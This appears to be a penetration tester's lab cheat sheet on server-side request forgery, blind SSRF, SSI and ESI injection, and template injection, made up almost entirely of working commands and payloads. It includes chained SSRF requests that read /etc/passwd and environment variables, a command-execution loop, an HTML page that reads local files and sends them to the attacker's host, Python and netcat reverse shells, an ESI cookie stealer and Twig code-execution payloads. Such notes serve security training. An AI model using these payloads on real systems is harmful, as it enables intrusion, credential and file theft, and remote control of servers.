SSRF
Server Side REquest Forgery
// all captured
[PENTESTER]🠖[EXERCISE-TARGET]--[SSRF]🠖[INTERNAL-WEBSERVER]--[SSRF]🠖[LOCALHOST WEBAPP]🠖[RCE]
nmap -sT -T5 --min-rate=10000 -p- <TARGET IP>
curl -i -s http://<TARGET IP>
curl -i -s -L http://<TARGET IP>
nc -nvlp 8080
curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:8080"
python3 -m http.server 9090
sudo pip3 install twisted
sudo python3 -m twisted ftp -p 21 -r .
curl -i -s "http://<TARGET IP>/load?q=ftp://<VPN/TUN Adapter IP>/index.html"
curl -i -s "http://<TARGET IP>/load?q=http://<VPN/TUN Adapter IP>:9090/index.html"
curl -i -s "http://<TARGET IP>/load?q=file:///etc/passwd"
for port in {1..65535};do echo $port >> ports.txt;done
curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:1"
// Port fuzzing
ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://127.0.0.1:PORT" -fs 30
// interacting with target
curl -i -s "http://<TARGET IP>/load?q=http://127.0.0.1:5000"
// interacting with target
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=index.html"
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http://127.0.0.1:1"
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:1"
// port fuzzing
ffuf -w ./ports.txt:PORT -u "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:PORT" -fr 'Errno[[:blank:]]111'
// interacting with target
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/"
// interacting with target /proc/self/environ
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///proc/self/environ" -o -
// retrieving a file through the target application - file schema
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=file:://///app/internal_local.py"
// determine /runme?x=CMD is avail
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=whoami"
// running into issues with parameters or extra input
curl -i -s "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=uname -a"
// install jq or use urlencoder.org
sudo apt-get install jq
echo "encode me" | jq -sRr @uri
// automating executing commands
function rce() {
while true; do
echo -n "# "; read cmd
ecmd=$(echo -n $cmd | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri)
curl -s -o - "http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=${ecmd}"
echo ""
done
}
rce
uname -a; hostname; whoami
// 3 times encoding
echo "ls -la /;" | jq -sRr @uri | jq -sRr @uri | jq -sRr @uri
curl -is -L "http://10.129.201.238/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=ls%252520-la%252520%25252F%25253B%25250A%250A%0A" -o -
Blind SSRF vulnerabilities could exist in PDF Document generators and HTTP Headers, among other locations.
Burp Collaborator (Part of Burp Suite professional. Not Available in the community edition)
http://pingb.in
<!DOCTYPE html>
<html>
<body>
<a>Hello World!</a>
<img src="http://<SERVICE IP>:PORT/x?=viaimgtag">
</body>
</html>
sudo nc -nlvp 9090
// read file
<html>
<body>
<b>Exfiltration via Blind SSRF</b>
<script>
var readfile = new XMLHttpRequest(); // Read the local file
var exfil = new XMLHttpRequest(); // Send the file to our server
readfile.open("GET","file:///etc/passwd", true);
readfile.send();
readfile.onload = function() {
if (readfile.readyState === 4) {
var url = 'http://<SERVICE IP>:<PORT>/?data='+btoa(this.response);
exfil.open("GET", url, true);
exfil.send();
}
}
readfile.onerror = function(){document.write('<a>Oops!</a>');}
</script>
</body>
</html>
// base64 decode
echo """cm9vdDp4OjA6MDpyb290Oi9yb<SNIP>""" | base64 -d
// Bash Reverse Shell
export RHOST="<VPN/TUN IP>";export RPORT="<PORT>";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
//url encoded payload
// Remember, we need to URL encode our payload. In this case, we need to encode it twice
export%2520RHOST%253D%252210.10.14.221%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527
// html payload
<html>
<body>
<b>Reverse Shell via Blind SSRF</b>
<script>
var http = new XMLHttpRequest();
http.open("GET","http://internal.app.local/load?q=http::////127.0.0.1:5000/runme?x=export%2520RHOST%253D%252210.10.14.221%2522%253Bexport%2520RPORT%253D%25229090%2522%253Bpython%2520-c%2520%2527import%2520sys%252Csocket%252Cos%252Cpty%253Bs%253Dsocket.socket%2528%2529%253Bs.connect%2528%2528os.getenv%2528%2522RHOST%2522%2529%252Cint%2528os.getenv%2528%2522RPORT%2522%2529%2529%2529%2529%253B%255Bos.dup2%2528s.fileno%2528%2529%252Cfd%2529%2520for%2520fd%2520in%2520%25280%252C1%252C2%2529%255D%253Bpty.spawn%2528%2522%252Fbin%252Fsh%2522%2529%2527", true);
http.send();
http.onerror = function(){document.write('<a>Oops!</a>');}
</script>
</body>
</html>
// Once we start a Netcat listener on our machine and submit the HTML file above, we receive a reverse shell coming from //internal.app.local.
nc -nvlp 9090
// time based SSRF
<html>
<body>
<b>Time-Based Blind SSRF</b>
<img src="http://blah.nonexistent.com">
</body>
</html>
// read files with SSI (server side includes)
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
<!--#exec cmd="cat .htaccess" -->
// ESI tags
// Basic detection
<esi: include src=http://<PENTESTER IP>>
// XSS Exploitation Example
<esi: include src=http://<PENTESTER IP>/<XSSPAYLOAD.html>>
// Cookie Stealer (bypass httpOnly flag)
<esi: include src=http://<PENTESTER IP>/?cookie_stealer.php?=$(HTTP_COOKIE)>
// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">
// Valid for Akamai, sends debug information in the response
<esi:debug/>
// SSTI
curl -gis 'http://127.0.0.1:5000/hello?name={{7*7}}'
We can detect SSTI vulnerabilities by injecting different tags in the inputs we
control to see if they are evaluated in the response. We don't necessarily need
to see the injected data reflected in the response we receive.
Sometimes it is just evaluated on different pages (blind).
// detect ssti
{7*7}
${7*7}
#{7*7}
%{7*7}
{{7*7}}
We can use tools such as Tplmap or J2EE Scan (Burp Pro) to automatically test
for SSTI vulnerabilities or create a payload list to use with Burp Intruder or ZAP.
// TWig specific payload
{{_self.env.display("TEST")}}
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install virtualenv
virtualenv -p python2 venv
source venv/bin/activate
pip install -r requirements.txt
./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
curl -X POST -d 'name={{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}' http://<TARGET IP>:<PORT>
./tplmap.py -u 'http://<TARGET IP>:<PORT>' -d name=john --os-shell
// SSTI example 1
./tplmap.py -u 'http://x.x.x.x:port' -d name=john --os-cmd "printenv | grep HTB"
// SSTI example 2
curl -X POST -d 'email={{7*7}}' http://x.x.x.x:port/jointheteam
// SSTI example 3
./tplmap.py -u 'http://x.x.x.x:port/execute?cmd=what' --os-cmd "cat flag.txt"
// final
curl -si http:///x.x.x.x:port/G3tTh4tF1l34M3?l33t=http://127.0.0.1:8080/flag.txt
Last updated

